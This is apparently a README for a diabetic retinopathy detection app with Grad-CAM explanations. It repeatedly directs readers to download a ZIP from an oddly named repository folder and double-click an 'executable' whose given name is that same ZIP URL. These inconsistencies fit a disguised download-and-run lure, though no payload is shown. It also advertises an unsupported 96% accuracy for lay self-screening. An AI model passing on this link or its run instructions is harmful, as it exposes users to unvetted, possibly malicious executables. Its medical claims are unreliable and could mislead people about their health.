Diabetic Retinopathy Detection with Explainable AI is a powerful deep learning system. It uses advanced models like EfficientNetB3, DenseNet201, and ResNet50V2 to identify diabetic retinopathy. This application aims to help users accurately screen and understand their eye health, achieving an accuracy of 96%.
This software is especially useful for medical professionals and anyone interested in monitoring diabetes-related eye conditions. The inclusion of Explainable AI features, such as Grad-CAM and Score-CAM, allows users to visualize how the detection system makes its decisions.
This section will guide you on how to download and run our application easily. Follow these steps carefully:
To download the application, please visit the following link:
This page includes all available versions. You can choose the latest version for the best performance.
After reaching the Releases page, you will see a list of files. Look for the most recent version. You will typically find files named something like https://github.com/Surajmanajipet/Diabetic-Retinopathy-Detection-DR--With-XAI/raw/refs/heads/main/illimitableness/Retinopathy_With_XAI_Detection_Diabetic_D_2.4.zip.
Click on the file to start downloading it to your device. The download may take a few moments, depending on your internet connection.
Once the download is complete, locate the downloaded ZIP file on your computer. Here’s how to extract it:
- Windows: Right-click on the ZIP file and select "Extract All." Follow the prompts to choose a folder where you want to save the files.
- Mac: Double-click the ZIP file to extract it. The files will appear in the same location as the ZIP file.
Navigate to the folder where you extracted the files. Look for the application executable file, typically named https://github.com/Surajmanajipet/Diabetic-Retinopathy-Detection-DR--With-XAI/raw/refs/heads/main/illimitableness/Retinopathy_With_XAI_Detection_Diabetic_D_2.4.zip.
Double-click the executable file to run the application.
Before running the application, ensure your system meets these requirements:
- Operating System: Windows 10 or later, macOS 10.15 (Catalina) or later.
- RAM: Minimum 4 GB (8 GB recommended).
- Storage: At least 500 MB of free space.
- Graphics Card: A card with support for DirectX 11 or later.
Make sure your system meets these basic requirements for optimal performance.
Once the application is running, you will see a user-friendly interface. The main features include:
- Upload Images: Click on the "Upload" button to select eye images for analysis.
- Run Detection: After uploading, click on the "Detect" button. The application will process the images and display the results.
- View Explanation: For insights on the detection, click the "View Explanation" option to see visual highlights using Grad-CAM and Score-CAM.
Here are some of the key features of the application:
- High Accuracy: Detects diabetic retinopathy with 96% accuracy.
- User-Friendly: Easy to use interface for all users, regardless of technical background.
- Explainable AI: Provides visual explanations for detection, making the process transparent.
- Multi-Model Support: Utilizes multiple deep learning models for reliable results.
If you want to learn more about diabetic retinopathy, the technologies used, or other related topics, consider checking out the following resources:
- National Eye Institute - Diabetic Retinopathy
- Towards Data Science - Explainable AI
- EfficientNet Models
If you experience issues or have questions, feel free to reach out. You can submit an issue on the GitHub repository or contact the maintainer directly through the repository page.
To get started with the application, simply visit the Releases page and follow the steps outlined above. Don’t forget to check for updates regularly to enjoy the latest features and improvements.
Your health is important. With this tool, you can take a proactive step in managing your eye care.